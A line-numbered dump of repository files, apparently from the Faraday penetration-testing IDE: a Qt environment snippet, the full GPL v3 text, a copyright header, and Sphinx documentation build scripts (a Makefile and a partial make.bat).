56 4=-1
57 5=-1
58 6=-1
59 7=-1
60 8=-1
61 9=-1
62
0
1
2 QTDIR=/usr/local/qt
3 PATH=$QTDIR/bin:$PATH
4 MANPATH=$QTDIR/doc/man:$MANPATH
5 LD_LIBRARY_PATH=$QTDIR/lib:$LD_LIBRARY_PATH
6
7 export QTDIR PATH MANPATH LD_LIBRARY_PATH
0 GNU GENERAL PUBLIC LICENSE
1 Version 3, 29 June 2007
2
3 Copyright (C) 2007 Free Software Foundation, Inc. [http://fsf.org/]
4 Everyone is permitted to copy and distribute verbatim copies
5 of this license document, but changing it is not allowed.
6
7 Preamble
8
9 The GNU General Public License is a free, copyleft license for
10 software and other kinds of works.
11
12 The licenses for most software and other practical works are designed
13 to take away your freedom to share and change the works. By contrast,
14 the GNU General Public License is intended to guarantee your freedom to
15 share and change all versions of a program--to make sure it remains free
16 software for all its users. We, the Free Software Foundation, use the
17 GNU General Public License for most of our software; it applies also to
18 any other work released this way by its authors. You can apply it to
19 your programs, too.
20
21 When we speak of free software, we are referring to freedom, not
22 price. Our General Public Licenses are designed to make sure that you
23 have the freedom to distribute copies of free software (and charge for
24 them if you wish), that you receive source code or can get it if you
25 want it, that you can change the software or use pieces of it in new
26 free programs, and that you know you can do these things.
27
28 To protect your rights, we need to prevent others from denying you
29 these rights or asking you to surrender the rights. Therefore, you have
30 certain responsibilities if you distribute copies of the software, or if
31 you modify it: responsibilities to respect the freedom of others.
32
33 For example, if you distribute copies of such a program, whether
34 gratis or for a fee, you must pass on to the recipients the same
35 freedoms that you received. You must make sure that they, too, receive
36 or can get the source code. And you must show them these terms so they
37 know their rights.
38
39 Developers that use the GNU GPL protect your rights with two steps:
40 (1) assert copyright on the software, and (2) offer you this License
41 giving you legal permission to copy, distribute and/or modify it.
42
43 For the developers' and authors' protection, the GPL clearly explains
44 that there is no warranty for this free software. For both users' and
45 authors' sake, the GPL requires that modified versions be marked as
46 changed, so that their problems will not be attributed erroneously to
47 authors of previous versions.
48
49 Some devices are designed to deny users access to install or run
50 modified versions of the software inside them, although the manufacturer
51 can do so. This is fundamentally incompatible with the aim of
52 protecting users' freedom to change the software. The systematic
53 pattern of such abuse occurs in the area of products for individuals to
54 use, which is precisely where it is most unacceptable. Therefore, we
55 have designed this version of the GPL to prohibit the practice for those
56 products. If such problems arise substantially in other domains, we
57 stand ready to extend this provision to those domains in future versions
58 of the GPL, as needed to protect the freedom of users.
59
60 Finally, every program is threatened constantly by software patents.
61 States should not allow patents to restrict development and use of
62 software on general-purpose computers, but in those that do, we wish to
63 avoid the special danger that patents applied to a free program could
64 make it effectively proprietary. To prevent this, the GPL assures that
65 patents cannot be used to render the program non-free.
66
67 The precise terms and conditions for copying, distribution and
68 modification follow.
69
70 TERMS AND CONDITIONS
71
72 0. Definitions.
73
74 "This License" refers to version 3 of the GNU General Public License.
75
76 "Copyright" also means copyright-like laws that apply to other kinds of
77 works, such as semiconductor masks.
78
79 "The Program" refers to any copyrightable work licensed under this
80 License. Each licensee is addressed as "you". "Licensees" and
81 "recipients" may be individuals or organizations.
82
83 To "modify" a work means to copy from or adapt all or part of the work
84 in a fashion requiring copyright permission, other than the making of an
85 exact copy. The resulting work is called a "modified version" of the
86 earlier work or a work "based on" the earlier work.
87
88 A "covered work" means either the unmodified Program or a work based
89 on the Program.
90
91 To "propagate" a work means to do anything with it that, without
92 permission, would make you directly or secondarily liable for
93 infringement under applicable copyright law, except executing it on a
94 computer or modifying a private copy. Propagation includes copying,
95 distribution (with or without modification), making available to the
96 public, and in some countries other activities as well.
97
98 To "convey" a work means any kind of propagation that enables other
99 parties to make or receive copies. Mere interaction with a user through
100 a computer network, with no transfer of a copy, is not conveying.
101
102 An interactive user interface displays "Appropriate Legal Notices"
103 to the extent that it includes a convenient and prominently visible
104 feature that (1) displays an appropriate copyright notice, and (2)
105 tells the user that there is no warranty for the work (except to the
106 extent that warranties are provided), that licensees may convey the
107 work under this License, and how to view a copy of this License. If
108 the interface presents a list of user commands or options, such as a
109 menu, a prominent item in the list meets this criterion.
110
111 1. Source Code.
112
113 The "source code" for a work means the preferred form of the work
114 for making modifications to it. "Object code" means any non-source
115 form of a work.
116
117 A "Standard Interface" means an interface that either is an official
118 standard defined by a recognized standards body, or, in the case of
119 interfaces specified for a particular programming language, one that
120 is widely used among developers working in that language.
121
122 The "System Libraries" of an executable work include anything, other
123 than the work as a whole, that (a) is included in the normal form of
124 packaging a Major Component, but which is not part of that Major
125 Component, and (b) serves only to enable use of the work with that
126 Major Component, or to implement a Standard Interface for which an
127 implementation is available to the public in source code form. A
128 "Major Component", in this context, means a major essential component
129 (kernel, window system, and so on) of the specific operating system
130 (if any) on which the executable work runs, or a compiler used to
131 produce the work, or an object code interpreter used to run it.
132
133 The "Corresponding Source" for a work in object code form means all
134 the source code needed to generate, install, and (for an executable
135 work) run the object code and to modify the work, including scripts to
136 control those activities. However, it does not include the work's
137 System Libraries, or general-purpose tools or generally available free
138 programs which are used unmodified in performing those activities but
139 which are not part of the work. For example, Corresponding Source
140 includes interface definition files associated with source files for
141 the work, and the source code for shared libraries and dynamically
142 linked subprograms that the work is specifically designed to require,
143 such as by intimate data communication or control flow between those
144 subprograms and other parts of the work.
145
146 The Corresponding Source need not include anything that users
147 can regenerate automatically from other parts of the Corresponding
148 Source.
149
150 The Corresponding Source for a work in source code form is that
151 same work.
152
153 2. Basic Permissions.
154
155 All rights granted under this License are granted for the term of
156 copyright on the Program, and are irrevocable provided the stated
157 conditions are met. This License explicitly affirms your unlimited
158 permission to run the unmodified Program. The output from running a
159 covered work is covered by this License only if the output, given its
160 content, constitutes a covered work. This License acknowledges your
161 rights of fair use or other equivalent, as provided by copyright law.
162
163 You may make, run and propagate covered works that you do not
164 convey, without conditions so long as your license otherwise remains
165 in force. You may convey covered works to others for the sole purpose
166 of having them make modifications exclusively for you, or provide you
167 with facilities for running those works, provided that you comply with
168 the terms of this License in conveying all material for which you do
169 not control copyright. Those thus making or running the covered works
170 for you must do so exclusively on your behalf, under your direction
171 and control, on terms that prohibit them from making any copies of
172 your copyrighted material outside their relationship with you.
173
174 Conveying under any other circumstances is permitted solely under
175 the conditions stated below. Sublicensing is not allowed; section 10
176 makes it unnecessary.
177
178 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
179
180 No covered work shall be deemed part of an effective technological
181 measure under any applicable law fulfilling obligations under article
182 11 of the WIPO copyright treaty adopted on 20 December 1996, or
183 similar laws prohibiting or restricting circumvention of such
184 measures.
185
186 When you convey a covered work, you waive any legal power to forbid
187 circumvention of technological measures to the extent such circumvention
188 is effected by exercising rights under this License with respect to
189 the covered work, and you disclaim any intention to limit operation or
190 modification of the work as a means of enforcing, against the work's
191 users, your or third parties' legal rights to forbid circumvention of
192 technological measures.
193
194 4. Conveying Verbatim Copies.
195
196 You may convey verbatim copies of the Program's source code as you
197 receive it, in any medium, provided that you conspicuously and
198 appropriately publish on each copy an appropriate copyright notice;
199 keep intact all notices stating that this License and any
200 non-permissive terms added in accord with section 7 apply to the code;
201 keep intact all notices of the absence of any warranty; and give all
202 recipients a copy of this License along with the Program.
203
204 You may charge any price or no price for each copy that you convey,
205 and you may offer support or warranty protection for a fee.
206
207 5. Conveying Modified Source Versions.
208
209 You may convey a work based on the Program, or the modifications to
210 produce it from the Program, in the form of source code under the
211 terms of section 4, provided that you also meet all of these conditions:
212
213 a) The work must carry prominent notices stating that you modified
214 it, and giving a relevant date.
215
216 b) The work must carry prominent notices stating that it is
217 released under this License and any conditions added under section
218 7. This requirement modifies the requirement in section 4 to
219 "keep intact all notices".
220
221 c) You must license the entire work, as a whole, under this
222 License to anyone who comes into possession of a copy. This
223 License will therefore apply, along with any applicable section 7
224 additional terms, to the whole of the work, and all its parts,
225 regardless of how they are packaged. This License gives no
226 permission to license the work in any other way, but it does not
227 invalidate such permission if you have separately received it.
228
229 d) If the work has interactive user interfaces, each must display
230 Appropriate Legal Notices; however, if the Program has interactive
231 interfaces that do not display Appropriate Legal Notices, your
232 work need not make them do so.
233
234 A compilation of a covered work with other separate and independent
235 works, which are not by their nature extensions of the covered work,
236 and which are not combined with it such as to form a larger program,
237 in or on a volume of a storage or distribution medium, is called an
238 "aggregate" if the compilation and its resulting copyright are not
239 used to limit the access or legal rights of the compilation's users
240 beyond what the individual works permit. Inclusion of a covered work
241 in an aggregate does not cause this License to apply to the other
242 parts of the aggregate.
243
244 6. Conveying Non-Source Forms.
245
246 You may convey a covered work in object code form under the terms
247 of sections 4 and 5, provided that you also convey the
248 machine-readable Corresponding Source under the terms of this License,
249 in one of these ways:
250
251 a) Convey the object code in, or embodied in, a physical product
252 (including a physical distribution medium), accompanied by the
253 Corresponding Source fixed on a durable physical medium
254 customarily used for software interchange.
255
256 b) Convey the object code in, or embodied in, a physical product
257 (including a physical distribution medium), accompanied by a
258 written offer, valid for at least three years and valid for as
259 long as you offer spare parts or customer support for that product
260 model, to give anyone who possesses the object code either (1) a
261 copy of the Corresponding Source for all the software in the
262 product that is covered by this License, on a durable physical
263 medium customarily used for software interchange, for a price no
264 more than your reasonable cost of physically performing this
265 conveying of source, or (2) access to copy the
266 Corresponding Source from a network server at no charge.
267
268 c) Convey individual copies of the object code with a copy of the
269 written offer to provide the Corresponding Source. This
270 alternative is allowed only occasionally and noncommercially, and
271 only if you received the object code with such an offer, in accord
272 with subsection 6b.
273
274 d) Convey the object code by offering access from a designated
275 place (gratis or for a charge), and offer equivalent access to the
276 Corresponding Source in the same way through the same place at no
277 further charge. You need not require recipients to copy the
278 Corresponding Source along with the object code. If the place to
279 copy the object code is a network server, the Corresponding Source
280 may be on a different server (operated by you or a third party)
281 that supports equivalent copying facilities, provided you maintain
282 clear directions next to the object code saying where to find the
283 Corresponding Source. Regardless of what server hosts the
284 Corresponding Source, you remain obligated to ensure that it is
285 available for as long as needed to satisfy these requirements.
286
287 e) Convey the object code using peer-to-peer transmission, provided
288 you inform other peers where the object code and Corresponding
289 Source of the work are being offered to the general public at no
290 charge under subsection 6d.
291
292 A separable portion of the object code, whose source code is excluded
293 from the Corresponding Source as a System Library, need not be
294 included in conveying the object code work.
295
296 A "User Product" is either (1) a "consumer product", which means any
297 tangible personal property which is normally used for personal, family,
298 or household purposes, or (2) anything designed or sold for incorporation
299 into a dwelling. In determining whether a product is a consumer product,
300 doubtful cases shall be resolved in favor of coverage. For a particular
301 product received by a particular user, "normally used" refers to a
302 typical or common use of that class of product, regardless of the status
303 of the particular user or of the way in which the particular user
304 actually uses, or expects or is expected to use, the product. A product
305 is a consumer product regardless of whether the product has substantial
306 commercial, industrial or non-consumer uses, unless such uses represent
307 the only significant mode of use of the product.
308
309 "Installation Information" for a User Product means any methods,
310 procedures, authorization keys, or other information required to install
311 and execute modified versions of a covered work in that User Product from
312 a modified version of its Corresponding Source. The information must
313 suffice to ensure that the continued functioning of the modified object
314 code is in no case prevented or interfered with solely because
315 modification has been made.
316
317 If you convey an object code work under this section in, or with, or
318 specifically for use in, a User Product, and the conveying occurs as
319 part of a transaction in which the right of possession and use of the
320 User Product is transferred to the recipient in perpetuity or for a
321 fixed term (regardless of how the transaction is characterized), the
322 Corresponding Source conveyed under this section must be accompanied
323 by the Installation Information. But this requirement does not apply
324 if neither you nor any third party retains the ability to install
325 modified object code on the User Product (for example, the work has
326 been installed in ROM).
327
328 The requirement to provide Installation Information does not include a
329 requirement to continue to provide support service, warranty, or updates
330 for a work that has been modified or installed by the recipient, or for
331 the User Product in which it has been modified or installed. Access to a
332 network may be denied when the modification itself materially and
333 adversely affects the operation of the network or violates the rules and
334 protocols for communication across the network.
335
336 Corresponding Source conveyed, and Installation Information provided,
337 in accord with this section must be in a format that is publicly
338 documented (and with an implementation available to the public in
339 source code form), and must require no special password or key for
340 unpacking, reading or copying.
341
342 7. Additional Terms.
343
344 "Additional permissions" are terms that supplement the terms of this
345 License by making exceptions from one or more of its conditions.
346 Additional permissions that are applicable to the entire Program shall
347 be treated as though they were included in this License, to the extent
348 that they are valid under applicable law. If additional permissions
349 apply only to part of the Program, that part may be used separately
350 under those permissions, but the entire Program remains governed by
351 this License without regard to the additional permissions.
352
353 When you convey a copy of a covered work, you may at your option
354 remove any additional permissions from that copy, or from any part of
355 it. (Additional permissions may be written to require their own
356 removal in certain cases when you modify the work.) You may place
357 additional permissions on material, added by you to a covered work,
358 for which you have or can give appropriate copyright permission.
359
360 Notwithstanding any other provision of this License, for material you
361 add to a covered work, you may (if authorized by the copyright holders of
362 that material) supplement the terms of this License with terms:
363
364 a) Disclaiming warranty or limiting liability differently from the
365 terms of sections 15 and 16 of this License; or
366
367 b) Requiring preservation of specified reasonable legal notices or
368 author attributions in that material or in the Appropriate Legal
369 Notices displayed by works containing it; or
370
371 c) Prohibiting misrepresentation of the origin of that material, or
372 requiring that modified versions of such material be marked in
373 reasonable ways as different from the original version; or
374
375 d) Limiting the use for publicity purposes of names of licensors or
376 authors of the material; or
377
378 e) Declining to grant rights under trademark law for use of some
379 trade names, trademarks, or service marks; or
380
381 f) Requiring indemnification of licensors and authors of that
382 material by anyone who conveys the material (or modified versions of
383 it) with contractual assumptions of liability to the recipient, for
384 any liability that these contractual assumptions directly impose on
385 those licensors and authors.
386
387 All other non-permissive additional terms are considered "further
388 restrictions" within the meaning of section 10. If the Program as you
389 received it, or any part of it, contains a notice stating that it is
390 governed by this License along with a term that is a further
391 restriction, you may remove that term. If a license document contains
392 a further restriction but permits relicensing or conveying under this
393 License, you may add to a covered work material governed by the terms
394 of that license document, provided that the further restriction does
395 not survive such relicensing or conveying.
396
397 If you add terms to a covered work in accord with this section, you
398 must place, in the relevant source files, a statement of the
399 additional terms that apply to those files, or a notice indicating
400 where to find the applicable terms.
401
402 Additional terms, permissive or non-permissive, may be stated in the
403 form of a separately written license, or stated as exceptions;
404 the above requirements apply either way.
405
406 8. Termination.
407
408 You may not propagate or modify a covered work except as expressly
409 provided under this License. Any attempt otherwise to propagate or
410 modify it is void, and will automatically terminate your rights under
411 this License (including any patent licenses granted under the third
412 paragraph of section 11).
413
414 However, if you cease all violation of this License, then your
415 license from a particular copyright holder is reinstated (a)
416 provisionally, unless and until the copyright holder explicitly and
417 finally terminates your license, and (b) permanently, if the copyright
418 holder fails to notify you of the violation by some reasonable means
419 prior to 60 days after the cessation.
420
421 Moreover, your license from a particular copyright holder is
422 reinstated permanently if the copyright holder notifies you of the
423 violation by some reasonable means, this is the first time you have
424 received notice of violation of this License (for any work) from that
425 copyright holder, and you cure the violation prior to 30 days after
426 your receipt of the notice.
427
428 Termination of your rights under this section does not terminate the
429 licenses of parties who have received copies or rights from you under
430 this License. If your rights have been terminated and not permanently
431 reinstated, you do not qualify to receive new licenses for the same
432 material under section 10.
433
434 9. Acceptance Not Required for Having Copies.
435
436 You are not required to accept this License in order to receive or
437 run a copy of the Program. Ancillary propagation of a covered work
438 occurring solely as a consequence of using peer-to-peer transmission
439 to receive a copy likewise does not require acceptance. However,
440 nothing other than this License grants you permission to propagate or
441 modify any covered work. These actions infringe copyright if you do
442 not accept this License. Therefore, by modifying or propagating a
443 covered work, you indicate your acceptance of this License to do so.
444
445 10. Automatic Licensing of Downstream Recipients.
446
447 Each time you convey a covered work, the recipient automatically
448 receives a license from the original licensors, to run, modify and
449 propagate that work, subject to this License. You are not responsible
450 for enforcing compliance by third parties with this License.
451
452 An "entity transaction" is a transaction transferring control of an
453 organization, or substantially all assets of one, or subdividing an
454 organization, or merging organizations. If propagation of a covered
455 work results from an entity transaction, each party to that
456 transaction who receives a copy of the work also receives whatever
457 licenses to the work the party's predecessor in interest had or could
458 give under the previous paragraph, plus a right to possession of the
459 Corresponding Source of the work from the predecessor in interest, if
460 the predecessor has it or can get it with reasonable efforts.
461
462 You may not impose any further restrictions on the exercise of the
463 rights granted or affirmed under this License. For example, you may
464 not impose a license fee, royalty, or other charge for exercise of
465 rights granted under this License, and you may not initiate litigation
466 (including a cross-claim or counterclaim in a lawsuit) alleging that
467 any patent claim is infringed by making, using, selling, offering for
468 sale, or importing the Program or any portion of it.
469
470 11. Patents.
471
472 A "contributor" is a copyright holder who authorizes use under this
473 License of the Program or a work on which the Program is based. The
474 work thus licensed is called the contributor's "contributor version".
475
476 A contributor's "essential patent claims" are all patent claims
477 owned or controlled by the contributor, whether already acquired or
478 hereafter acquired, that would be infringed by some manner, permitted
479 by this License, of making, using, or selling its contributor version,
480 but do not include claims that would be infringed only as a
481 consequence of further modification of the contributor version. For
482 purposes of this definition, "control" includes the right to grant
483 patent sublicenses in a manner consistent with the requirements of
484 this License.
485
486 Each contributor grants you a non-exclusive, worldwide, royalty-free
487 patent license under the contributor's essential patent claims, to
488 make, use, sell, offer for sale, import and otherwise run, modify and
489 propagate the contents of its contributor version.
490
491 In the following three paragraphs, a "patent license" is any express
492 agreement or commitment, however denominated, not to enforce a patent
493 (such as an express permission to practice a patent or covenant not to
494 sue for patent infringement). To "grant" such a patent license to a
495 party means to make such an agreement or commitment not to enforce a
496 patent against the party.
497
498 If you convey a covered work, knowingly relying on a patent license,
499 and the Corresponding Source of the work is not available for anyone
500 to copy, free of charge and under the terms of this License, through a
501 publicly available network server or other readily accessible means,
502 then you must either (1) cause the Corresponding Source to be so
503 available, or (2) arrange to deprive yourself of the benefit of the
504 patent license for this particular work, or (3) arrange, in a manner
505 consistent with the requirements of this License, to extend the patent
506 license to downstream recipients. "Knowingly relying" means you have
507 actual knowledge that, but for the patent license, your conveying the
508 covered work in a country, or your recipient's use of the covered work
509 in a country, would infringe one or more identifiable patents in that
510 country that you have reason to believe are valid.
511
512 If, pursuant to or in connection with a single transaction or
513 arrangement, you convey, or propagate by procuring conveyance of, a
514 covered work, and grant a patent license to some of the parties
515 receiving the covered work authorizing them to use, propagate, modify
516 or convey a specific copy of the covered work, then the patent license
517 you grant is automatically extended to all recipients of the covered
518 work and works based on it.
519
520 A patent license is "discriminatory" if it does not include within
521 the scope of its coverage, prohibits the exercise of, or is
522 conditioned on the non-exercise of one or more of the rights that are
523 specifically granted under this License. You may not convey a covered
524 work if you are a party to an arrangement with a third party that is
525 in the business of distributing software, under which you make payment
526 to the third party based on the extent of your activity of conveying
527 the work, and under which the third party grants, to any of the
528 parties who would receive the covered work from you, a discriminatory
529 patent license (a) in connection with copies of the covered work
530 conveyed by you (or copies made from those copies), or (b) primarily
531 for and in connection with specific products or compilations that
532 contain the covered work, unless you entered into that arrangement,
533 or that patent license was granted, prior to 28 March 2007.
534
535 Nothing in this License shall be construed as excluding or limiting
536 any implied license or other defenses to infringement that may
537 otherwise be available to you under applicable patent law.
538
539 12. No Surrender of Others' Freedom.
540
541 If conditions are imposed on you (whether by court order, agreement or
542 otherwise) that contradict the conditions of this License, they do not
543 excuse you from the conditions of this License. If you cannot convey a
544 covered work so as to satisfy simultaneously your obligations under this
545 License and any other pertinent obligations, then as a consequence you may
546 not convey it at all. For example, if you agree to terms that obligate you
547 to collect a royalty for further conveying from those to whom you convey
548 the Program, the only way you could satisfy both those terms and this
549 License would be to refrain entirely from conveying the Program.
550
551 13. Use with the GNU Affero General Public License.
552
553 Notwithstanding any other provision of this License, you have
554 permission to link or combine any covered work with a work licensed
555 under version 3 of the GNU Affero General Public License into a single
556 combined work, and to convey the resulting work. The terms of this
557 License will continue to apply to the part which is the covered work,
558 but the special requirements of the GNU Affero General Public License,
559 section 13, concerning interaction through a network will apply to the
560 combination as such.
561
562 14. Revised Versions of this License.
563
564 The Free Software Foundation may publish revised and/or new versions of
565 the GNU General Public License from time to time. Such new versions will
566 be similar in spirit to the present version, but may differ in detail to
567 address new problems or concerns.
568
569 Each version is given a distinguishing version number. If the
570 Program specifies that a certain numbered version of the GNU General
571 Public License "or any later version" applies to it, you have the
572 option of following the terms and conditions either of that numbered
573 version or of any later version published by the Free Software
574 Foundation. If the Program does not specify a version number of the
575 GNU General Public License, you may choose any version ever published
576 by the Free Software Foundation.
577
578 If the Program specifies that a proxy can decide which future
579 versions of the GNU General Public License can be used, that proxy's
580 public statement of acceptance of a version permanently authorizes you
581 to choose that version for the Program.
582
583 Later license versions may give you additional or different
584 permissions. However, no additional obligations are imposed on any
585 author or copyright holder as a result of your choosing to follow a
586 later version.
587
588 15. Disclaimer of Warranty.
589
590 THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
591 APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
592 HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
593 OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
594 THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
595 PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
596 IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
597 ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
598
599 16. Limitation of Liability.
600
601 IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
602 WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
603 THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
604 GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
605 USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
606 DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
607 PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
608 EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
609 SUCH DAMAGES.
610
611 17. Interpretation of Sections 15 and 16.
612
613 If the disclaimer of warranty and limitation of liability provided
614 above cannot be given local legal effect according to their terms,
615 reviewing courts shall apply local law that most closely approximates
616 an absolute waiver of all civil liability in connection with the
617 Program, unless a warranty or assumption of liability accompanies a
618 copy of the Program in return for a fee.
619
620 END OF TERMS AND CONDITIONS
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
0 # Makefile for Sphinx documentation
1 #
2
3 # You can set these variables from the command line.
4 SPHINXOPTS =
5 SPHINXBUILD = sphinx-build
6 PAPER =
7 BUILDDIR = build
8
9 # Internal variables.
10 PAPEROPT_a4 = -D latex_paper_size=a4
11 PAPEROPT_letter = -D latex_paper_size=letter
12 ALLSPHINXOPTS = -d $(BUILDDIR)/doctrees $(PAPEROPT_$(PAPER)) $(SPHINXOPTS) source
13
14 .PHONY: help clean html dirhtml singlehtml pickle json htmlhelp qthelp devhelp epub latex latexpdf text man changes linkcheck doctest
15
16 help:
17 @echo "Please use \`make <target>' where <target> is one of"
18 @echo " html to make standalone HTML files"
19 @echo " dirhtml to make HTML files named index.html in directories"
20 @echo " singlehtml to make a single large HTML file"
21 @echo " pickle to make pickle files"
22 @echo " json to make JSON files"
23 @echo " htmlhelp to make HTML files and a HTML help project"
24 @echo " qthelp to make HTML files and a qthelp project"
25 @echo " devhelp to make HTML files and a Devhelp project"
26 @echo " epub to make an epub"
27 @echo " latex to make LaTeX files, you can set PAPER=a4 or PAPER=letter"
28 @echo " latexpdf to make LaTeX files and run them through pdflatex"
29 @echo " text to make text files"
30 @echo " man to make manual pages"
31 @echo " changes to make an overview of all changed/added/deprecated items"
32 @echo " linkcheck to check all external links for integrity"
33 @echo " doctest to run all doctests embedded in the documentation (if enabled)"
34
35 clean:
36 -rm -rf $(BUILDDIR)/*
37
38 html:
39 $(SPHINXBUILD) -b html $(ALLSPHINXOPTS) $(BUILDDIR)/html
40 @echo
41 @echo "Build finished. The HTML pages are in $(BUILDDIR)/html."
42
43 dirhtml:
44 $(SPHINXBUILD) -b dirhtml $(ALLSPHINXOPTS) $(BUILDDIR)/dirhtml
45 @echo
46 @echo "Build finished. The HTML pages are in $(BUILDDIR)/dirhtml."
47
48 singlehtml:
49 $(SPHINXBUILD) -b singlehtml $(ALLSPHINXOPTS) $(BUILDDIR)/singlehtml
50 @echo
51 @echo "Build finished. The HTML page is in $(BUILDDIR)/singlehtml."
52
53 pickle:
54 $(SPHINXBUILD) -b pickle $(ALLSPHINXOPTS) $(BUILDDIR)/pickle
55 @echo
56 @echo "Build finished; now you can process the pickle files."
57
58 json:
59 $(SPHINXBUILD) -b json $(ALLSPHINXOPTS) $(BUILDDIR)/json
60 @echo
61 @echo "Build finished; now you can process the JSON files."
62
63 htmlhelp:
64 $(SPHINXBUILD) -b htmlhelp $(ALLSPHINXOPTS) $(BUILDDIR)/htmlhelp
65 @echo
66 @echo "Build finished; now you can run HTML Help Workshop with the" \
67 ".hhp project file in $(BUILDDIR)/htmlhelp."
68
69 qthelp:
70 $(SPHINXBUILD) -b qthelp $(ALLSPHINXOPTS) $(BUILDDIR)/qthelp
71 @echo
72 @echo "Build finished; now you can run "qcollectiongenerator" with the" \
73 ".qhcp project file in $(BUILDDIR)/qthelp, like this:"
74 @echo "# qcollectiongenerator $(BUILDDIR)/qthelp/Faraday.qhcp"
75 @echo "To view the help file:"
76 @echo "# assistant -collectionFile $(BUILDDIR)/qthelp/Faraday.qhc"
77
78 devhelp:
79 $(SPHINXBUILD) -b devhelp $(ALLSPHINXOPTS) $(BUILDDIR)/devhelp
80 @echo
81 @echo "Build finished."
82 @echo "To view the help file:"
83 @echo "# mkdir -p $$HOME/.local/share/devhelp/Faraday"
84 @echo "# ln -s $(BUILDDIR)/devhelp $$HOME/.local/share/devhelp/Faraday"
85 @echo "# devhelp"
86
87 epub:
88 $(SPHINXBUILD) -b epub $(ALLSPHINXOPTS) $(BUILDDIR)/epub
89 @echo
90 @echo "Build finished. The epub file is in $(BUILDDIR)/epub."
91
92 latex:
93 $(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex
94 @echo
95 @echo "Build finished; the LaTeX files are in $(BUILDDIR)/latex."
96 @echo "Run \`make' in that directory to run these through (pdf)latex" \
97 "(use \`make latexpdf' here to do that automatically)."
98
99 latexpdf:
100 $(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex
101 @echo "Running LaTeX files through pdflatex..."
102 make -C $(BUILDDIR)/latex all-pdf
103 @echo "pdflatex finished; the PDF files are in $(BUILDDIR)/latex."
104
105 text:
106 $(SPHINXBUILD) -b text $(ALLSPHINXOPTS) $(BUILDDIR)/text
107 @echo
108 @echo "Build finished. The text files are in $(BUILDDIR)/text."
109
110 man:
111 $(SPHINXBUILD) -b man $(ALLSPHINXOPTS) $(BUILDDIR)/man
112 @echo
113 @echo "Build finished. The manual pages are in $(BUILDDIR)/man."
114
115 changes:
116 $(SPHINXBUILD) -b changes $(ALLSPHINXOPTS) $(BUILDDIR)/changes
117 @echo
118 @echo "The overview file is in $(BUILDDIR)/changes."
119
120 linkcheck:
121 $(SPHINXBUILD) -b linkcheck $(ALLSPHINXOPTS) $(BUILDDIR)/linkcheck
122 @echo
123 @echo "Link check complete; look for any errors in the above output " \
124 "or in $(BUILDDIR)/linkcheck/output.txt."
125
126 doctest:
127 $(SPHINXBUILD) -b doctest $(ALLSPHINXOPTS) $(BUILDDIR)/doctest
128 @echo "Testing of doctests in the sources finished, look at the " \
129 "results in $(BUILDDIR)/doctest/output.txt."
0 @ECHO OFF
1
2 REM Command file for Sphinx documentation
3
4 if "%SPHINXBUILD%" == "" (
5 set SPHINXBUILD=sphinx-build
6 )
7 set BUILDDIR=build
8 set ALLSPHINXOPTS=-d %BUILDDIR%/doctrees %SPHINXOPTS% source
9 if NOT "%PAPER%" == "" (
10 set ALLSPHINXOPTS=-D latex_paper_size=%PAPER% %ALLSPHINXOPTS%
11 )
12
13 if "%1" == "" goto help
14
15 if "%1" == "help" (
16 :help
17 echo.Please use `make ^<target^>` where ^<target^> is one of
18 echo. html to make standalone HTML files
19 echo. dirhtml to make HTML files named index.html in directories
20 echo. singlehtml to make a single large HTML file
21 echo. pickle to make pickle files
22 echo. json to make JSON files
23 echo. htmlhelp to make HTML files and a HTML help project
24 echo. qthelp to make HTML files and a qthelp project
25 echo. devhelp to make HTML files and a Devhelp project
26 echo. epub to make an epub
27 echo. latex to make LaTeX files, you can set PAPER=a4 or PAPER=letter
28 echo. text to make text files
29 echo. man to make manual pages
30 echo. changes to make an overview over all changed/added/deprecated items
31 echo. linkcheck to check all external links for integrity
32 echo. doctest to run all doctests embedded in the documentation if enabled
33 goto end
34 )
35
36 if "%1" == "clean" (
37 for /d %%i in (%BUILDDIR%\*) do rmdir /q /s %%i
38 del /q /s %BUILDDIR%\*
39 goto end
40 )
41
42 if "%1" == "html" (
43 %SPHINXBUILD% -b html %ALLSPHINXOPTS% %BUILDDIR%/html
44 echo.
45 echo.Build finished. The HTML pages are in %BUILDDIR%/html.
46 goto end
47 )
48
49 if "%1" == "dirhtml" (
50 %SPHINXBUILD% -b dirhtml %ALLSPHINXOPTS% %BUILDDIR%/dirhtml
51 echo.
52 echo.Build finished. The HTML pages are in %BUILDDIR%/dirhtml.
53 goto end
54 )
55
56 if "%1" == "singlehtml" (
57 %SPHINXBUILD% -b singlehtml %ALLSPHINXOPTS% %BUILDDIR%/singlehtml
58 echo.
59 echo.Build finished. The HTML pages are in %BUILDDIR%/singlehtml.
60 goto end
61 )
62
63 if "%1" == "pickle" (
64 %SPHINXBUILD% -b pickle %ALLSPHINXOPTS% %BUILDDIR%/pickle
65 echo.
66 echo.Build finished; now you can process the pickle files.
